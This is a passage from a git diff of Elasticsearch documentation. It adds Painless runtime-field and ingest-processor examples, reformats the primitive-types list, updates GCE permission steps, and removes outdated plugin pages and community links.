Locale.ROOT)); + """ + }, + "context": "keyword_field", + "context_setup": { + "index": "my-index-000001", + "document": { + "@timestamp": "2020-04-30T14:31:43-05:00" + } + } +} +---- +// TEST[continued] + +The script operates on the value provided for the `@timestamp` field to +calculate and return the day of the week: + +[source,console-result] +---- +{ + "result" : [ + "Thursday" + ] +} +---- + +[[painless-runtime-long]] +===== `long_field` +Let's say you have sensor data that a `measures` object. This object includes +a `start` and `end` field, and you want to calculate the difference between +those values. + +The following request adds a `measures` object to the mappings with two fields, +both of type `long`: + +[source,console] +---- +PUT /my-index-000001/ +{ + "mappings": { + "properties": { + "measures": { + "properties": { + "start": { + "type": "long" + }, + "end": { + "type": "long" + } + } + } + } + } +} +---- + +You can then define a script that assigns values to the `start` and `end` fields +and operate on them. The following script extracts the value for the `end` +field from the `measures` object and subtracts it from the `start` field: + +[source,console] +---- +POST /_scripts/painless/_execute +{ + "script": { + "source": """ + emit(doc['measures.end'].value - doc['measures.start'].value); + """ + }, + "context": "long_field", + "context_setup": { + "index": "my-index-000001", + "document": { + "measures": { + "voltage": "4.0", + "start": "400", + "end": "8625309" + } + } + } +} +---- +// TEST[continued] + +The response includes the calculated value from the script valuation: + +[source,console-result] +---- +{ + "result" : [ + 8624909 + ] +} +---- \ No newline at end of file diff --git a/docs/painless/painless-guide/painless-ingest.asciidoc b/docs/painless/painless-guide/painless-ingest.asciidoc new file mode 100644 index 0000000000000..5eb91dd808269 --- /dev/null +++ b/docs/painless/painless-guide/painless-ingest.asciidoc @@ -0,0 +1,98 @@ +[[painless-ingest]] +=== Using ingest processors in Painless + +Some {ref}/processors.html[ingest processors] expose behavior through Painless +methods that can be called in Painless scripts that execute in ingest pipelines. + +==== Method usage + +All ingest methods available in Painless are scoped to the `Processors` +namespace. For example: + +[source,console] +---- +POST /_ingest/pipeline/_simulate?verbose +{ + "pipeline": { + "processors": [ + { + "script": { + "lang": "painless", + "source": """ + long bytes = Processors.bytes(ctx.size); + ctx.size_in_bytes = bytes; + """ + } + } + ] + }, + "docs": [ + { + "_source": { + "size": "1kb" + } + } + ] +} +---- + +==== Ingest methods reference + +===== Byte conversion +Use the {ref}/bytes-processor.html[bytes processor] to return the number of +bytes in the human-readable byte value supplied in the `value` parameter. + +[source,Painless] +---- +long bytes(String value); +---- + +===== Lowercase conversion +Use the {ref}/lowercase-processor.html[lowercase processor] to convert the +supplied string in the `value` parameter to its lowercase equivalent. + +[source,Painless] +---- +String lowercase(String value); +---- + +===== Uppercase conversion +Use the {ref}/uppercase-processor.html[uppercase processor] to convert the +supplied string in the `value` parameter to its uppercase equivalent. + +[source,Painless] +---- +String uppercase(String value); +---- + +===== JSON parsing +Use the {ref}/json-processor.html[JSON processor] to convert JSON strings to structured +JSON objects. The first `json` method accepts a map and a key. The processor converts +the JSON string in the map as specified by the `key` parameter to structured JSON content. +That content is added directly to the `map` object. + +The second `json` method accepts a JSON string in the `value` parameter and +returns a structured JSON object. + +[source,Painless] +---- +void json(Map map, String key); +Object json(Object value); +---- + +You can then add this object to the document through the context object: + +[source,Painless] +---- +Object json = Processors.json(ctx.inputJsonString); +ctx.structuredJson = json; +---- + +===== URL decoding +Use the {ref}/urldecode-processor.html[URL decode processor] to URL-decode the string +supplied in the `value` parameter. + +[source,Painless] +---- +String urlDecode(String value); +---- diff --git a/docs/painless/painless-guide/painless-runtime-fields.asciidoc b/docs/painless/painless-guide/painless-runtime-fields.asciidoc index 5f8edce8085ca..11df87af0ad3f 100644 --- a/docs/painless/painless-guide/painless-runtime-fields.asciidoc +++ b/docs/painless/painless-guide/painless-runtime-fields.asciidoc @@ -1,6 +1,5 @@ [[painless-runtime-fields]] === Use Painless scripts in runtime fields -beta::[] A runtime field is a field that is evaluated at query time. When you define a runtime field, you can immediately use it in search requests, aggregations, filtering, and sorting. @@ -26,7 +25,7 @@ Add a `runtime` section under the {ref}/runtime-mapping-fields.html[mapping defi The script in the following request extracts the day of the week from the `@timestamp` field, which is defined as a `date` type. The script calculates -the day of the week based on the value of `timestamp`, and uses `emit` to +the day of the week based on the value of `@timestamp`, and uses `emit` to return the calculated value. [source,console] @@ -45,7 +44,7 @@ PUT my-index/ } }, "properties": { - "timestamp": {"type": "date"} + "@timestamp": {"type": "date"} } } } diff --git a/docs/painless/painless-lang-spec/painless-casting.asciidoc b/docs/painless/painless-lang-spec/painless-casting.asciidoc index 25e7e345ba0f1..48a82734507ed 100644 --- a/docs/painless/painless-lang-spec/painless-casting.asciidoc +++ b/docs/painless/painless-lang-spec/painless-casting.asciidoc @@ -4,7 +4,7 @@ A cast converts the value of an original type to the equivalent value of a target type. An implicit cast infers the target type and automatically occurs during certain <>. An explicit cast specifies -the target type and forcefully occurs as its own operation. Use the `cast +the target type and forcefully occurs as its own operation. Use the `cast operator '()'` to specify an explicit cast. Refer to the <> for a quick reference on all diff --git a/docs/painless/painless-lang-spec/painless-functions.asciidoc b/docs/painless/painless-lang-spec/painless-functions.asciidoc index 20f3e821f1edd..535f3b94ea308 100644 --- a/docs/painless/painless-lang-spec/painless-functions.asciidoc +++ b/docs/painless/painless-lang-spec/painless-functions.asciidoc @@ -8,7 +8,7 @@ to repeat its specific task. A parameter is a named type value available as a function specifies zero-to-many parameters, and when a function is called a value is specified per parameter. An argument is a value passed into a function at the point of call. A function specifies a return type value, though if the -type is <> then no value is returned. Any non-void type return +type is <> then no value is returned. Any non-void type return value is available for use within an <> or is discarded otherwise. diff --git a/docs/painless/painless-lang-spec/painless-literals.asciidoc b/docs/painless/painless-lang-spec/painless-literals.asciidoc index f2e5849638048..99c93dc858ad8 100644 --- a/docs/painless/painless-lang-spec/painless-literals.asciidoc +++ b/docs/painless/painless-lang-spec/painless-literals.asciidoc @@ -11,7 +11,7 @@ Use an integer literal to specify an integer type value in decimal, octal, or hex notation of a <> `int`, `long`, `float`, or `double`. Use the following single letter designations to specify the primitive type: `l` or `L` for `long`, `f` or `F` for `float`, and `d` or `D` -for `double`. If not specified, the type defaults to `int`. Use `0` as a prefix +for `double`. If not specified, the type defaults to `int`. Use `0` as a prefix to specify an integer literal as octal, and use `0x` or `0X` as a prefix to specify an integer literal as hex. @@ -86,7 +86,7 @@ EXPONENT: ( [eE] [+\-]? [0-9]+ ); Use a string literal to specify a <> value with either single-quotes or double-quotes. Use a `\"` token to include a double-quote as part of a double-quoted string literal. Use a `\'` token to -include a single-quote as part of a single-quoted string literal. Use a `\\` +include a single-quote as part of a single-quoted string literal. Use a `\\` token to include a backslash as part of any string literal. *Grammar* diff --git a/docs/painless/painless-lang-spec/painless-operators-general.asciidoc b/docs/painless/painless-lang-spec/painless-operators-general.asciidoc index 6c17e36b3fc81..14e59e44d643f 100644 --- a/docs/painless/painless-lang-spec/painless-operators-general.asciidoc +++ b/docs/painless/painless-lang-spec/painless-operators-general.asciidoc @@ -76,7 +76,7 @@ int z = add(1, 2); <2> ==== Cast An explicit cast converts the value of an original type to the equivalent value -of a target type forcefully as an operation. Use the `cast operator '()'` to +of a target type forcefully as an operation. Use the `cast operator '()'` to specify an explicit cast. Refer to <> for more information. @@ -85,7 +85,7 @@ information. A conditional consists of three expressions. The first expression is evaluated with an expected boolean result type. If the first expression evaluates to true -then the second expression will be evaluated. If the first expression evaluates +then the second expression will be evaluated. If the first expression evaluates to false then the third expression will be evaluated. The second and third expressions will be <> if the evaluated values are not the same type. Use the `conditional operator '? :'` as a shortcut to avoid the need @@ -254,7 +254,7 @@ V = (T)(V op expression); The table below shows the available operators for use in a compound assignment. Each operator follows the casting/promotion rules according to their regular -definition. For numeric operations there is an extra implicit cast when +definition. For numeric operations there is an extra implicit cast when necessary to return the promoted numeric type value to the original numeric type value of the variable/field and can result in data loss. diff --git a/docs/painless/painless-lang-spec/painless-operators-numeric.asciidoc b/docs/painless/painless-lang-spec/painless-operators-numeric.asciidoc index 1b08d9c3361ce..f145dca19bc1f 100644 --- a/docs/painless/painless-lang-spec/painless-operators-numeric.asciidoc +++ b/docs/painless/painless-lang-spec/painless-operators-numeric.asciidoc @@ -668,7 +668,7 @@ def y = x/2; <2> ==== Remainder Use the `remainder operator '%'` to calculate the REMAINDER for division -between two numeric type values. Rules for NaN values and division by zero follow the JVM +between two numeric type values. Rules for NaN values and division by zero follow the JVM specification. *Errors* @@ -809,7 +809,7 @@ def y = x+2; <2> ==== Subtraction Use the `subtraction operator '-'` to SUBTRACT a right-hand side numeric type -value from a left-hand side numeric type value. Rules for resultant overflow +value from a left-hand side numeric type value. Rules for resultant overflow and NaN values follow the JVM specification. *Errors* @@ -955,7 +955,7 @@ def y = x << 1; <2> Use the `right shift operator '>>'` to SHIFT higher order bits to lower order bits in a left-hand side integer type value by the distance specified in a -right-hand side integer type value. The highest order bit of the left-hand side +right-hand side integer type value. The highest order bit of the left-hand side integer type value is preserved. *Errors* diff --git a/docs/painless/painless-lang-spec/painless-operators.asciidoc b/docs/painless/painless-lang-spec/painless-operators.asciidoc index b105f4ef6faa6..47e086e88d90d 100644 --- a/docs/painless/painless-lang-spec/painless-operators.asciidoc +++ b/docs/painless/painless-lang-spec/painless-operators.asciidoc @@ -2,10 +2,10 @@ === Operators An operator is the most basic action that can be taken to evaluate values in a -script. An expression is one-to-many consecutive operations. Precedence is the +script. An expression is one-to-many consecutive operations. Precedence is the order in which an operator will be evaluated relative to another operator. Associativity is the direction within an expression in which a specific operator -is evaluated. The following table lists all available operators: +is evaluated. The following table lists all available operators: [cols="<6,<3,^3,^2,^4"] |==== diff --git a/docs/painless/painless-lang-spec/painless-types.asciidoc b/docs/painless/painless-lang-spec/painless-types.asciidoc index e58fec49d7c17..fca5fed1b12c2 100644 --- a/docs/painless/painless-lang-spec/painless-types.asciidoc +++ b/docs/painless/painless-lang-spec/painless-types.asciidoc @@ -23,53 +23,38 @@ type). Use the <> or <> on a primitive type value to force evaluation as its corresponding reference type value. -The following primitive types are available: - -[horizontal] -`byte`:: -8-bit, signed, two's complement integer -* range: [`-128`, `127`] -* default value: `0` -* reference type: `Byte` - -`short`:: -16-bit, signed, two's complement integer -* range: [`-32768`, `32767`] -* default value: `0` -* reference type: `Short` - -`char`:: -16-bit, unsigned, Unicode character -* range: [`0`, `65535`] -* default value: `0` or `\u0000` -* reference type: `Character` - -`int`:: -32-bit, signed, two's complement integer -* range: [`-2^31`, `2^31-1`] -* default value: `0` -* reference type: `Integer` - -`long`:: -64-bit, signed, two's complement integer -* range: [`-2^63`, `2^63-1`] -* default value: `0` -* reference type: `Long` - -`float`:: -32-bit, signed, single-precision, IEEE 754 floating point number -* default value: `0.0` -* reference type: `Float` - -`double`:: -64-bit, signed, double-precision, IEEE 754 floating point number -* default value: `0.0` -* reference type: `Double` - -`boolean`:: -logical quantity with two possible values of `true` and `false` -* default value: `false` -* reference type: `Boolean` +The following primitive types are available. The corresponding reference type +is listed in parentheses. For example, `Byte` is the reference type for the +`byte` primitive type: + +[[available-primitive-types]] +.**Available primitive types** +[%collapsible%open] +==== +`byte` (`Byte`):: + 8-bit, signed, two's complement integer. Range: [`-128`, `127`]. Default: `0`. + +`short` (`Short`):: + 16-bit, signed, two's complement integer. Range: [`-32768`, `32767`]. Default: `0`. + +`char` (`Character`):: + 16-bit, unsigned, Unicode character. Range: [`0`, `65535`]. Default: `0` or `\u0000`. + +`int` (`Integer`):: + 32-bit, signed, two's complement integer. Range: [`-2^31`, `2^31-1`]. Default: `0`. + +`long` (`Long`):: + 64-bit, signed, two's complement integer. Range: [`-2^63`, `2^63-1`]. Default: `0`. + +`float (`Float`)`:: + 32-bit, signed, single-precision, IEEE 754 floating point number. Default `0.0`. + +`double` (`Double`):: + 64-bit, signed, double-precision, IEEE 754 floating point number. Default: `0.0`. + +`boolean` (`Boolean`):: + logical quantity with two possible values of `true` and `false`. Default: `false`. +==== *Examples* @@ -274,7 +259,7 @@ during operations. Declare a `def` type <> or access a `def` type member field (from a reference type instance), and assign it any type of value for evaluation during later operations. The default value for a newly-declared -`def` type variable is `null`. A `def` type variable or method/function +`def` type variable is `null`. A `def` type variable or method/function parameter can change the type it represents during the compilation and evaluation of a script. @@ -415,7 +400,7 @@ range `[2, d]` where `d >= 2`, each element within each dimension in the range `[1, d-1]` is also an array type. The element type of each dimension, `n`, is an array type with the number of dimensions equal to `d-n`. For example, consider `int[][][]` with 3 dimensions. Each element in the 3rd dimension, `d-3`, is the -primitive type `int`. Each element in the 2nd dimension, `d-2`, is the array +primitive type `int`. Each element in the 2nd dimension, `d-2`, is the array type `int[]`. And each element in the 1st dimension, `d-1` is the array type `int[][]`. diff --git a/docs/plugins/alerting.asciidoc b/docs/plugins/alerting.asciidoc deleted file mode 100644 index a440b6b836754..0000000000000 --- a/docs/plugins/alerting.asciidoc +++ /dev/null @@ -1,17 +0,0 @@ -[[alerting]] -== Alerting Plugins - -Alerting plugins allow Elasticsearch to monitor indices and to trigger alerts when thresholds are breached. - -[discrete] -=== Core alerting plugins - -The core alerting plugins are: - -link:/products/x-pack/alerting[X-Pack]:: - -X-Pack contains the alerting and notification product for Elasticsearch that -lets you take action based on changes in your data. It is designed around the -principle that if you can query something in Elasticsearch, you can alert on -it. Simply define a query, condition, schedule, and the actions to take, and -X-Pack will do the rest. diff --git a/docs/plugins/analysis-icu.asciidoc b/docs/plugins/analysis-icu.asciidoc index a8041e4710013..ac5a32a3b5351 100644 --- a/docs/plugins/analysis-icu.asciidoc +++ b/docs/plugins/analysis-icu.asciidoc @@ -12,7 +12,7 @@ transliteration. ================================================ From time to time, the ICU library receives updates such as adding new -characters and emojis, and improving collation (sort) orders. These changes +characters and emojis, and improving collation (sort) orders. These changes may or may not affect search and sort orders, depending on which characters sets you are using. @@ -38,11 +38,11 @@ The following parameters are accepted: `method`:: - Normalization method. Accepts `nfkc`, `nfc` or `nfkc_cf` (default) + Normalization method. Accepts `nfkc`, `nfc` or `nfkc_cf` (default) `mode`:: - Normalization mode. Accepts `compose` (default) or `decompose`. + Normalization mode. Accepts `compose` (default) or `decompose`. [[analysis-icu-normalization-charfilter]] ==== ICU Normalization Character Filter @@ -52,7 +52,7 @@ http://userguide.icu-project.org/transforms/normalization[here]. It registers itself as the `icu_normalizer` character filter, which is available to all indices without any further configuration. The type of normalization can be specified with the `name` parameter, which accepts `nfc`, -`nfkc`, and `nfkc_cf` (default). Set the `mode` parameter to `decompose` to +`nfkc`, and `nfkc_cf` (default). Set the `mode` parameter to `decompose` to convert `nfc` to `nfd` or `nfkc` to `nfkd` respectively: Which letters are normalized can be controlled by specifying the @@ -328,7 +328,7 @@ PUT icu_sample [WARNING] ====== -This token filter has been deprecated since Lucene 5.0. Please use +This token filter has been deprecated since Lucene 5.0. Please use <>. ====== @@ -404,7 +404,7 @@ The following parameters are accepted by `icu_collation_keyword` fields: `null_value`:: Accepts a string value which is substituted for any explicit `null` - values. Defaults to `null`, which means the field is treated as missing. + values. Defaults to `null`, which means the field is treated as missing. {ref}/ignore-above.html[`ignore_above`]:: @@ -434,7 +434,7 @@ The strength property determines the minimum level of difference considered significant during comparison. Possible values are : `primary`, `secondary`, `tertiary`, `quaternary` or `identical`. See the https://icu-project.org/apiref/icu4j/com/ibm/icu/text/Collator.html[ICU Collation documentation] -for a more detailed explanation for each value. Defaults to `tertiary` +for a more detailed explanation for each value. Defaults to `tertiary` unless otherwise specified in the collation. `decomposition`:: @@ -483,7 +483,7 @@ Single character or contraction. Controls what is variable for `alternate`. `hiragana_quaternary_mode`:: -Possible values: `true` or `false`. Distinguishing between Katakana and +Possible values: `true` or `false`. Distinguishing between Katakana and Hiragana characters in `quaternary` strength. @@ -495,7 +495,7 @@ case mapping, normalization, transliteration and bidirectional text handling. You can define which transformation you want to apply with the `id` parameter (defaults to `Null`), and specify text direction with the `dir` parameter -which accepts `forward` (default) for LTR and `reverse` for RTL. Custom +which accepts `forward` (default) for LTR and `reverse` for RTL. Custom rulesets are not yet supported. For example: diff --git a/docs/plugins/analysis-kuromoji.asciidoc b/docs/plugins/analysis-kuromoji.asciidoc index 4b1f3408882fa..75bd6cc446d0d 100644 --- a/docs/plugins/analysis-kuromoji.asciidoc +++ b/docs/plugins/analysis-kuromoji.asciidoc @@ -103,7 +103,7 @@ The `kuromoji_tokenizer` accepts the following settings: -- The tokenization mode determines how the tokenizer handles compound and -unknown words. It can be set to: +unknown words. It can be set to: `normal`:: @@ -403,11 +403,11 @@ form in either katakana or romaji. It accepts the following setting: `use_romaji`:: - Whether romaji reading form should be output instead of katakana. Defaults to `false`. + Whether romaji reading form should be output instead of katakana. Defaults to `false`. When using the pre-defined `kuromoji_readingform` filter, `use_romaji` is set to `true`. The default when defining a custom `kuromoji_readingform`, however, -is `false`. The only reason to use the custom form is if you need the +is `false`. The only reason to use the custom form is if you need the katakana reading form: [source,console] @@ -521,7 +521,7 @@ GET kuromoji_sample/_analyze The `ja_stop` token filter filters out Japanese stopwords (`_japanese_`), and any other custom stopwords specified by the user. This filter only supports -the predefined `_japanese_` stopwords list. If you want to use a different +the predefined `_japanese_` stopwords list. If you want to use a different predefined list, then use the {ref}/analysis-stop-tokenfilter.html[`stop` token filter] instead. diff --git a/docs/plugins/analysis-phonetic.asciidoc b/docs/plugins/analysis-phonetic.asciidoc index 1f43862bac82c..a7a4883b46e0e 100644 --- a/docs/plugins/analysis-phonetic.asciidoc +++ b/docs/plugins/analysis-phonetic.asciidoc @@ -16,7 +16,7 @@ The `phonetic` token filter takes the following settings: `encoder`:: - Which phonetic encoder to use. Accepts `metaphone` (default), + Which phonetic encoder to use. Accepts `metaphone` (default), `double_metaphone`, `soundex`, `refined_soundex`, `caverphone1`, `caverphone2`, `cologne`, `nysiis`, `koelnerphonetik`, `haasephonetik`, `beider_morse`, `daitch_mokotoff`. @@ -24,7 +24,7 @@ The `phonetic` token filter takes the following settings: `replace`:: Whether or not the original token should be replaced by the phonetic - token. Accepts `true` (default) and `false`. Not supported by + token. Accepts `true` (default) and `false`. Not supported by `beider_morse` encoding. [source,console] @@ -81,7 +81,7 @@ supported: `max_code_len`:: - The maximum length of the emitted metaphone token. Defaults to `4`. + The maximum length of the emitted metaphone token. Defaults to `4`. [discrete] ===== Beider Morse settings diff --git a/docs/plugins/analysis-stempel.asciidoc b/docs/plugins/analysis-stempel.asciidoc index 54118945ab3eb..0cbba0451e7d4 100644 --- a/docs/plugins/analysis-stempel.asciidoc +++ b/docs/plugins/analysis-stempel.asciidoc @@ -46,7 +46,7 @@ PUT /stempel_example The `polish_stop` token filter filters out Polish stopwords (`_polish_`), and any other custom stopwords specified by the user. This filter only supports -the predefined `_polish_` stopwords list. If you want to use a different +the predefined `_polish_` stopwords list. If you want to use a different predefined list, then use the {ref}/analysis-stop-tokenfilter.html[`stop` token filter] instead. diff --git a/docs/plugins/analysis.asciidoc b/docs/plugins/analysis.asciidoc index bc347744340ec..ed16da60ca66a 100644 --- a/docs/plugins/analysis.asciidoc +++ b/docs/plugins/analysis.asciidoc @@ -52,8 +52,6 @@ A number of analysis plugins have been contributed by our community: * https://github.com/medcl/elasticsearch-analysis-ik[IK Analysis Plugin] (by Medcl) * https://github.com/medcl/elasticsearch-analysis-pinyin[Pinyin Analysis Plugin] (by Medcl) * https://github.com/duydo/elasticsearch-analysis-vietnamese[Vietnamese Analysis Plugin] (by Duy Do) -* https://github.com/ofir123/elasticsearch-network-analysis[Network Addresses Analysis Plugin] (by Ofir123) -* https://github.com/ZarHenry96/elasticsearch-dandelion-plugin[Dandelion Analysis Plugin] (by ZarHenry96) * https://github.com/medcl/elasticsearch-analysis-stconvert[STConvert Analysis Plugin] (by Medcl) include::analysis-icu.asciidoc[] diff --git a/docs/plugins/api.asciidoc b/docs/plugins/api.asciidoc index ad12ddbdbf028..047eb7b29943f 100644 --- a/docs/plugins/api.asciidoc +++ b/docs/plugins/api.asciidoc @@ -17,16 +17,5 @@ A number of plugins have been contributed by our community: * https://github.com/wikimedia/search-highlighter[Elasticsearch Experimental Highlighter]: (by Wikimedia Foundation/Nik Everett) -* https://github.com/YannBrrd/elasticsearch-entity-resolution[Entity Resolution Plugin]: - Uses https://github.com/larsga/Duke[Duke] for duplication detection (by Yann Barraud) - * https://github.com/zentity-io/zentity[Entity Resolution Plugin] (https://zentity.io[zentity]): Real-time entity resolution with pure Elasticsearch (by Dave Moore) - -* https://github.com/ritesh-kapoor/elasticsearch-pql[PQL language Plugin]: - Allows Elasticsearch to be queried with simple pipeline query syntax. - -* https://github.com/codelibs/elasticsearch-taste[Elasticsearch Taste Plugin]: - Mahout Taste-based Collaborative Filtering implementation (by CodeLibs Project) - -* https://github.com/jurgc11/es-change-feed-plugin[WebSocket Change Feed Plugin] (by ForgeRock/Chris Clifton) diff --git a/docs/plugins/authors.asciidoc b/docs/plugins/authors.asciidoc index 76a0588ceadf0..e908b8f8692ff 100644 --- a/docs/plugins/authors.asciidoc +++ b/docs/plugins/authors.asciidoc @@ -14,7 +14,7 @@ The Elasticsearch repository contains examples of: * a https://github.com/elastic/elasticsearch/tree/master/plugins/examples/script-expert-scoring[Java plugin] which contains a script plugin. -These examples provide the bare bones needed to get started. For more +These examples provide the bare bones needed to get started. For more information about how to write a plugin, we recommend looking at the plugins listed in this documentation for inspiration. @@ -74,7 +74,7 @@ in the presence of plugins with the incorrect `elasticsearch.version`. === Testing your plugin When testing a Java plugin, it will only be auto-loaded if it is in the -`plugins/` directory. Use `bin/elasticsearch-plugin install file:///path/to/your/plugin` +`plugins/` directory. Use `bin/elasticsearch-plugin install file:///path/to/your/plugin` to install your plugin for testing. You may also load your plugin within the test framework for integration tests. diff --git a/docs/plugins/discovery-azure-classic.asciidoc b/docs/plugins/discovery-azure-classic.asciidoc index b7a94ea60e274..b9933fc65d820 100644 --- a/docs/plugins/discovery-azure-classic.asciidoc +++ b/docs/plugins/discovery-azure-classic.asciidoc @@ -130,7 +130,7 @@ discovery: We will expose here one strategy which is to hide our Elasticsearch cluster from outside. With this strategy, only VMs behind the same virtual port can talk to each -other. That means that with this mode, you can use Elasticsearch unicast +other. That means that with this mode, you can use Elasticsearch unicast discovery to build a cluster, using the Azure API to retrieve information about your nodes. diff --git a/docs/plugins/discovery-gce.asciidoc b/docs/plugins/discovery-gce.asciidoc index 94d73c0bc4f6a..249ff4d2f7c0e 100644 --- a/docs/plugins/discovery-gce.asciidoc +++ b/docs/plugins/discovery-gce.asciidoc @@ -17,10 +17,10 @@ automatic discovery of seed hosts. Here is a simple sample configuration: -------------------------------------------------- cloud: gce: - project_id: - zone: + project_id: + zone: discovery: - seed_providers: gce + seed_providers: gce -------------------------------------------------- The following gce settings (prefixed with `cloud.gce`) are supported: @@ -322,10 +322,10 @@ To enable discovery across more than one zone, just enter add your zone list to -------------------------------------------------- cloud: gce: - project_id: - zone: ["", ""] + project_id: + zone: ["", ""] discovery: - seed_providers: gce + seed_providers: gce -------------------------------------------------- @@ -357,12 +357,12 @@ Then, define it in `elasticsearch.yml`: -------------------------------------------------- cloud: gce: - project_id: es-cloud - zone: europe-west1-a + project_id: es-cloud + zone: europe-west1-a discovery: - seed_providers: gce - gce: - tags: elasticsearch, dev + seed_providers: gce + gce: + tags: elasticsearch, dev -------------------------------------------------- [[discovery-gce-usage-port]] @@ -416,7 +416,7 @@ gcloud config set project es-cloud [[discovery-gce-usage-tips-permissions]] ===== Machine Permissions -If you have created a machine without the correct permissions, you will see `403 unauthorized` error messages. To change machine permission on an existing instance, first stop the instance then Edit. Scroll down to `Access Scopes` to change permission. The other way to alter these permissions is to delete the instance (NOT THE DISK). Then create another with the correct permissions. +If you have created a machine without the correct permissions, you will see `403 unauthorized` error messages. To change machine permission on an existing instance, first stop the instance then Edit. Scroll down to `Access Scopes` to change permission. The other way to alter these permissions is to delete the instance (NOT THE DISK). Then create another with the correct permissions. Creating machines with gcloud:: + @@ -432,9 +432,9 @@ Ensure the following flags are set: Creating with console (web):: + -- -When creating an instance using the web portal, click _Show advanced options_. +When creating an instance using the web console, scroll down to **Identity and API access**. -At the bottom of the page, under `PROJECT ACCESS`, choose `>> Compute >> Read Write`. +Select a service account with the correct permissions or choose **Compute Engine default service account** and select **Allow default access** for **Access scopes**. -- Creating with knife google:: @@ -450,7 +450,7 @@ knife google server create www1 \ -Z us-central1-a \ -i ~/.ssh/id_rsa \ -x jdoe \ - --gce-service-account-scopes https://www.googleapis.com/auth/compute.full_control + --gce-service-account-scopes https://www.googleapis.com/auth/compute -------------------------------------------------- Or, you may use the alias: diff --git a/docs/plugins/discovery.asciidoc b/docs/plugins/discovery.asciidoc index 100373c50b81c..4f0ce124459de 100644 --- a/docs/plugins/discovery.asciidoc +++ b/docs/plugins/discovery.asciidoc @@ -25,13 +25,6 @@ addresses of seed hosts. The Google Compute Engine discovery plugin uses the GCE API to identify the addresses of seed hosts. -[discrete] -==== Community contributed discovery plugins - -The following discovery plugins have been contributed by our community: - -* https://github.com/fabric8io/elasticsearch-cloud-kubernetes[Kubernetes Discovery Plugin] (by Jimmi Dyson, https://fabric8.io[fabric8]) - include::discovery-ec2.asciidoc[] include::discovery-azure-classic.asciidoc[] diff --git a/docs/plugins/index.asciidoc b/docs/plugins/index.asciidoc index 4b085b44edbc9..8d4fef11097f6 100644 --- a/docs/plugins/index.asciidoc +++ b/docs/plugins/index.asciidoc @@ -14,7 +14,7 @@ must be installed on every node in the cluster. After installation, each node must be restarted before the plugin becomes visible. NOTE: A full cluster restart is required for installing plugins that have -custom cluster state metadata, such as X-Pack. It is still possible to upgrade +custom cluster state metadata. It is still possible to upgrade such plugins with a rolling restart. This documentation distinguishes two categories of plugins: @@ -40,8 +40,6 @@ include::plugin-script.asciidoc[] include::api.asciidoc[] -include::alerting.asciidoc[] - include::analysis.asciidoc[] include::discovery.asciidoc[] @@ -50,12 +48,8 @@ include::filesystem.asciidoc[] include::ingest.asciidoc[] -include::management.asciidoc[] - include::mapper.asciidoc[] -include::security.asciidoc[] - include::repository.asciidoc[] include::store.asciidoc[] diff --git a/docs/plugins/ingest-geoip.asciidoc b/docs/plugins/ingest-geoip.asciidoc deleted file mode 100644 index 71be02c52ddbd..0000000000000 --- a/docs/plugins/ingest-geoip.asciidoc +++ /dev/null @@ -1,11 +0,0 @@ -[[ingest-geoip]] -=== Ingest `geoip` Processor Plugin - -The `geoip` processor is no longer distributed as a plugin, but is now a module -distributed by default with Elasticsearch. See the -{ref}/geoip-processor.html[GeoIP processor] for more details. - -[[using-ingest-geoip]] -==== Using the `geoip` Processor in a Pipeline - -See {ref}/geoip-processor.html#using-ingest-geoip[using `ingest-geoip`]. diff --git a/docs/plugins/ingest.asciidoc b/docs/plugins/ingest.asciidoc index 257b74d929007..b9717485f6769 100644 --- a/docs/plugins/ingest.asciidoc +++ b/docs/plugins/ingest.asciidoc @@ -13,31 +13,4 @@ The core ingest plugins are: The ingest attachment plugin lets Elasticsearch extract file attachments in common formats (such as PPT, XLS, and PDF) by using the Apache text extraction library https://tika.apache.org/[Tika]. -<>:: - -The `geoip` processor adds information about the geographical location of IP -addresses, based on data from the Maxmind databases. This processor adds this -information by default under the `geoip` field. The `geoip` processor is no -longer distributed as a plugin, but is now a module distributed by default with -Elasticsearch. See {ref}/geoip-processor.html[GeoIP processor] for more -details. - -<>:: - -A processor that extracts details from the User-Agent header value. The -`user_agent` processor is no longer distributed as a plugin, but is now a module -distributed by default with Elasticsearch. See -{ref}/user-agent-processor.html[User Agent processor] for more details. - -[discrete] -=== Community contributed ingest plugins - -The following plugin has been contributed by our community: - -* https://github.com/johtani/elasticsearch-ingest-csv[Ingest CSV Processor Plugin] (by Jun Ohtani) - include::ingest-attachment.asciidoc[] - -include::ingest-geoip.asciidoc[] - -include::ingest-user-agent.asciidoc[] diff --git a/docs/plugins/integrations.asciidoc b/docs/plugins/integrations.asciidoc index d4417c4f6f573..c6c95d842d06f 100644 --- a/docs/plugins/integrations.asciidoc +++ b/docs/plugins/integrations.asciidoc @@ -11,18 +11,9 @@ Integrations are not plugins, but are external tools or modules that make it eas [discrete] ==== Supported by the community: -* https://drupal.org/project/search_api_elasticsearch[Drupal]: - Drupal Elasticsearch integration via Search API. - -* https://drupal.org/project/elasticsearch_connector[Drupal]: - Drupal Elasticsearch integration. - * https://wordpress.org/plugins/elasticpress/[ElasticPress]: Elasticsearch WordPress Plugin -* https://wordpress.org/plugins/wpsolr-search-engine/[WPSOLR]: - Elasticsearch (and Apache Solr) WordPress Plugin - * https://doc.tiki.org/Elasticsearch[Tiki Wiki CMS Groupware]: Tiki has native support for Elasticsearch. This provides faster & better search (facets, etc), along with some Natural Language Processing features @@ -53,22 +44,16 @@ releases 2.0 and later do not support rivers. [discrete] ==== Supported by the community: -* https://github.com/jprante/elasticsearch-jdbc[JDBC importer]: - The Java Database Connection (JDBC) importer allows to fetch data from JDBC sources for indexing into Elasticsearch (by Jörg Prante) +* https://github.com/spinscale/cookiecutter-elasticsearch-ingest-processor[Ingest processor template]: + A template for creating new ingest processors. * https://github.com/BigDataDevs/kafka-elasticsearch-consumer[Kafka Standalone Consumer (Indexer)]: Kafka Standalone Consumer [Indexer] will read messages from Kafka in batches, processes(as implemented) and bulk-indexes them into Elasticsearch. Flexible and scalable. More documentation in above GitHub repo's Wiki. -* https://github.com/ozlerhakan/mongolastic[Mongolastic]: - A tool that clones data from Elasticsearch to MongoDB and vice versa - * https://github.com/Aconex/scrutineer[Scrutineer]: A high performance consistency checker to compare what you've indexed with your source of truth content (e.g. DB) -* https://github.com/salyh/elasticsearch-imap[IMAP/POP3/Mail importer]: - The Mail importer allows to fetch data from IMAP and POP3 servers for indexing into Elasticsearch (by Hendrik Saly) - * https://github.com/dadoonet/fscrawler[FS Crawler]: The File System (FS) crawler allows to index documents (PDF, Open Office...) from your local file system and over SSH. (by David Pilato) @@ -112,9 +97,6 @@ releases 2.0 and later do not support rivers. * 